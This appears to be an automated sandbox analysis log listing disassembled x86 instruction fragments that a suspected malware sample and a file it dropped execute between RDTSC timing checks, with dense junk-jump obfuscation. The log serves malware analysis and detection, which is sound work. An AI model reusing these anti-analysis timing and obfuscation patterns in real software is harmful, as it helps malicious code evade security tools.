Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440433 second address: 5440439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440439 second address: 544045C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FEC7C7C7EAEh 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544045C second address: 54404EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 pushfd 0x00000006 jmp 00007FEC7CD69C03h 0x0000000b and esi, 67CDF7EEh 0x00000011 jmp 00007FEC7CD69C09h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FEC7CD69C01h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FEC7CD69BFEh 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov edx, ecx 0x0000002b mov ebx, eax 0x0000002d popad 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov si, bx 0x00000035 pushfd 0x00000036 jmp 00007FEC7CD69BFDh 0x0000003b add eax, 1DA5D036h 0x00000041 jmp 00007FEC7CD69C01h 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54404EF second address: 54404FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7C7C7EACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440536 second address: 544054F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7CD69C05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544054F second address: 5440587 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEC7C7C7EAEh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEC7C7C7EADh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440587 second address: 544059C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544059C second address: 54405C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d mov esi, 10CFFE7Fh 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54405C3 second address: 54405C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54405C7 second address: 54405CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440626 second address: 54406C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2920435Bh 0x00000010 jmp 00007FEC7CD69C06h 0x00000015 call 00007FECED24D58Ah 0x0000001a push 759227D0h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [759B0140h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f jmp 00007FEC7CD69C00h 0x00000064 and dword ptr [ebp-04h], 00000000h 0x00000068 jmp 00007FEC7CD69C00h 0x0000006d mov edx, dword ptr [ebp+0Ch] 0x00000070 pushad 0x00000071 mov edi, ecx 0x00000073 pushfd 0x00000074 jmp 00007FEC7CD69BFAh 0x00000079 xor ch, 00000048h 0x0000007c jmp 00007FEC7CD69BFBh 0x00000081 popfd 0x00000082 popad 0x00000083 mov esi, edx 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007FEC7CD69C05h 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54406C1 second address: 5440763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 2948EFF2h 0x00000008 pushfd 0x00000009 jmp 00007FEC7C7C7EB3h 0x0000000e xor esi, 63754DEEh 0x00000014 jmp 00007FEC7C7C7EB9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov al, byte ptr [edx] 0x0000001f pushad 0x00000020 mov edi, ecx 0x00000022 push eax 0x00000023 mov edi, 62CCDE5Ah 0x00000028 pop edx 0x00000029 popad 0x0000002a inc edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FEC7C7C7EB3h 0x00000034 add cl, FFFFFFAEh 0x00000037 jmp 00007FEC7C7C7EB9h 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007FEC7C7C7EB0h 0x00000043 sbb cl, 00000028h 0x00000046 jmp 00007FEC7C7C7EABh 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440763 second address: 544079E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEC7CD69C08h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544079E second address: 54407A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54407A2 second address: 54407A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54407A8 second address: 5440763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC7C7C7EB8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FEC7C7C7DDAh 0x00000011 mov al, byte ptr [edx] 0x00000013 pushad 0x00000014 mov edi, ecx 0x00000016 push eax 0x00000017 mov edi, 62CCDE5Ah 0x0000001c pop edx 0x0000001d popad 0x0000001e inc edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FEC7C7C7EB3h 0x00000028 add cl, FFFFFFAEh 0x0000002b jmp 00007FEC7C7C7EB9h 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007FEC7C7C7EB0h 0x00000037 sbb cl, 00000028h 0x0000003a jmp 00007FEC7C7C7EABh 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54408ED second address: 5440915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jne 00007FECED241D82h 0x0000000c jmp 00007FEC7CD69C04h 0x00000011 mov ecx, edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440915 second address: 5440919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440919 second address: 544091F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544091F second address: 5440925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440925 second address: 5440950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e pushad 0x0000000f mov esi, 3819276Dh 0x00000014 push ecx 0x00000015 movsx edi, cx 0x00000018 pop esi 0x00000019 popad 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440950 second address: 5440954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440954 second address: 5440958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440958 second address: 544095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544095E second address: 5440995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c push esi 0x0000000d mov ebx, 26FE09FEh 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEC7CD69C02h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440995 second address: 54409A6 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 and ecx, 03h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54409A6 second address: 54409AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54409AA second address: 54409AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54409AE second address: 54409B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54409B4 second address: 5440A35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FEC7C7C7EACh 0x00000012 sub cx, 2B58h 0x00000017 jmp 00007FEC7C7C7EABh 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000025 jmp 00007FEC7C7C7EB2h 0x0000002a mov eax, ebx 0x0000002c jmp 00007FEC7C7C7EB0h 0x00000031 mov ecx, dword ptr [ebp-10h] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov bl, 01h 0x00000039 jmp 00007FEC7C7C7EB6h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440A35 second address: 5440A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440A3B second address: 5440A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440A3F second address: 5440A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEC7CD69BFBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440A5D second address: 5440A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440A7A second address: 5440AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 jmp 00007FEC7CD69C08h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f jmp 00007FEC7CD69C00h 0x00000014 pop edi 0x00000015 pushad 0x00000016 pushad 0x00000017 mov ax, 9B03h 0x0000001b call 00007FEC7CD69C08h 0x00000020 pop esi 0x00000021 popad 0x00000022 movsx edx, cx 0x00000025 popad 0x00000026 pop esi 0x00000027 jmp 00007FEC7CD69BFAh 0x0000002c pop ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FEC7CD69C07h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440AF6 second address: 5440626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007FEC7C7C7EAEh 0x0000000f retn 0008h 0x00000012 cmp dword ptr [ebp-2Ch], 10h 0x00000016 mov eax, dword ptr [ebp-40h] 0x00000019 jnc 00007FEC7C7C7EA5h 0x0000001b push eax 0x0000001c lea edx, dword ptr [ebp-00000590h] 0x00000022 push edx 0x00000023 call esi 0x00000025 push 00000008h 0x00000027 jmp 00007FEC7C7C7EB0h 0x0000002c push 5CB95F73h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007FEC7C7C7EAAh 0x00000039 mov bx, ax 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440C29 second address: 5440C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov dx, cx 0x0000000b mov di, ax 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440C3E second address: 5440C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440C46 second address: 5440C69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: 9DF174 second address: 9DEA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEC7C7C7EA6h 0x0000000a popad 0x0000000b pop edi 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 mov dword ptr [ebp+122D2F0Ah], edx 0x00000016 pushad 0x00000017 jmp 00007FEC7C7C7EAFh 0x0000001c movzx ecx, dx 0x0000001f popad 0x00000020 popad 0x00000021 push dword ptr [ebp+122D0715h] 0x00000027 jmp 00007FEC7C7C7EB1h 0x0000002c call dword ptr [ebp+122D19BEh] 0x00000032 pushad 0x00000033 js 00007FEC7C7C7EACh 0x00000039 mov dword ptr [ebp+122D19B9h], esi 0x0000003f xor eax, eax 0x00000041 pushad 0x00000042 mov dl, 7Ch 0x00000044 mov ecx, dword ptr [ebp+122D2B92h] 0x0000004a popad 0x0000004b mov edx, dword ptr [esp+28h] 0x0000004f jmp 00007FEC7C7C7EADh 0x00000054 mov dword ptr [ebp+122D2AAAh], eax 0x0000005a js 00007FEC7C7C7EA7h 0x00000060 cld 0x00000061 mov esi, 0000003Ch 0x00000066 clc 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b jnl 00007FEC7C7C7EBFh 0x00000071 lodsw 0x00000073 pushad 0x00000074 mov ax, dx 0x00000077 jmp 00007FEC7C7C7EAEh 0x0000007c popad 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 jmp 00007FEC7C7C7EB1h 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a jmp 00007FEC7C7C7EB2h 0x0000008f nop 0x00000090 js 00007FEC7C7C7EAEh 0x00000096 push edx 0x00000097 push eax 0x00000098 push edx 0x00000099 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5890F second address: B58945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 ja 00007FEC7CD69BF6h 0x0000000c jmp 00007FEC7CD69BFBh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEC7CD69C06h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B58945 second address: B58949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B58949 second address: B58972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007FEC7CD69BFEh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B58972 second address: B58978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B4E8D3 second address: B4E8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEC7CD69BF6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B4E8DF second address: B4E8E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B57C31 second address: B57C53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B58072 second address: B58077 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B58077 second address: B5807D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5807D second address: B58096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FEC7C7C7EDDh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEC7C7C7EAAh 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B58096 second address: B580B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFDh 0x00000007 je 00007FEC7CD69BF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B580B1 second address: B580B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5BFA7 second address: 9DEA26 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2BFEC76Eh 0x0000000f mov dword ptr [ebp+122D17DDh], ecx 0x00000015 push dword ptr [ebp+122D0715h] 0x0000001b pushad 0x0000001c jnl 00007FEC7CD69BFCh 0x00000022 mov dword ptr [ebp+122D17D2h], eax 0x00000028 add ax, FCF5h 0x0000002d popad 0x0000002e call dword ptr [ebp+122D19BEh] 0x00000034 pushad 0x00000035 js 00007FEC7CD69BFCh 0x0000003b xor eax, eax 0x0000003d pushad 0x0000003e mov dl, 7Ch 0x00000040 mov ecx, dword ptr [ebp+122D2B92h] 0x00000046 popad 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b jmp 00007FEC7CD69BFDh 0x00000050 mov dword ptr [ebp+122D2AAAh], eax 0x00000056 js 00007FEC7CD69BF7h 0x0000005c cld 0x0000005d mov esi, 0000003Ch 0x00000062 clc 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 jnl 00007FEC7CD69C0Fh 0x0000006d lodsw 0x0000006f pushad 0x00000070 mov ax, dx 0x00000073 jmp 00007FEC7CD69BFEh 0x00000078 popad 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d jmp 00007FEC7CD69C01h 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 jmp 00007FEC7CD69C02h 0x0000008b nop 0x0000008c js 00007FEC7CD69BFEh 0x00000092 push edx 0x00000093 push eax 0x00000094 push edx 0x00000095 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5BFE2 second address: B5BFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5BFE6 second address: B5C040 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEC7CD69BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FEC7CD69C0Ah 0x00000010 jmp 00007FEC7CD69C04h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007FEC7CD69C07h 0x0000001d push edi 0x0000001e ja 00007FEC7CD69BF6h 0x00000024 pop edi 0x00000025 popad 0x00000026 nop 0x00000027 push 00000000h 0x00000029 mov esi, 4F95A3FBh 0x0000002e push C88D138Fh 0x00000033 push ebx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C040 second address: B5C09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 3772ECF1h 0x0000000d mov ecx, edi 0x0000000f push 00000003h 0x00000011 mov si, EFA2h 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D17CAh], esi 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007FEC7C7C7EA8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 call 00007FEC7C7C7EA9h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push edi 0x00000042 pop edi 0x00000043 jmp 00007FEC7C7C7EAEh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C09A second address: B5C126 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FEC7CD69BFDh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FEC7CD69C09h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007FEC7CD69C08h 0x0000001b pushad 0x0000001c jmp 00007FEC7CD69C06h 0x00000021 jmp 00007FEC7CD69C07h 0x00000026 popad 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FEC7CD69BFCh 0x00000033 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C126 second address: B5C12C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C12C second address: B5C186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push ebx 0x0000000e ja 00007FEC7CD69BFCh 0x00000014 pop ebx 0x00000015 pop eax 0x00000016 mov edx, dword ptr [ebp+122D2A6Ah] 0x0000001c mov edx, 4E2B1E24h 0x00000021 lea ebx, dword ptr [ebp+12450EDAh] 0x00000027 mov dword ptr [ebp+122D1A0Ah], eax 0x0000002d xchg eax, ebx 0x0000002e jmp 00007FEC7CD69C07h 0x00000033 push eax 0x00000034 pushad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C186 second address: B5C18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
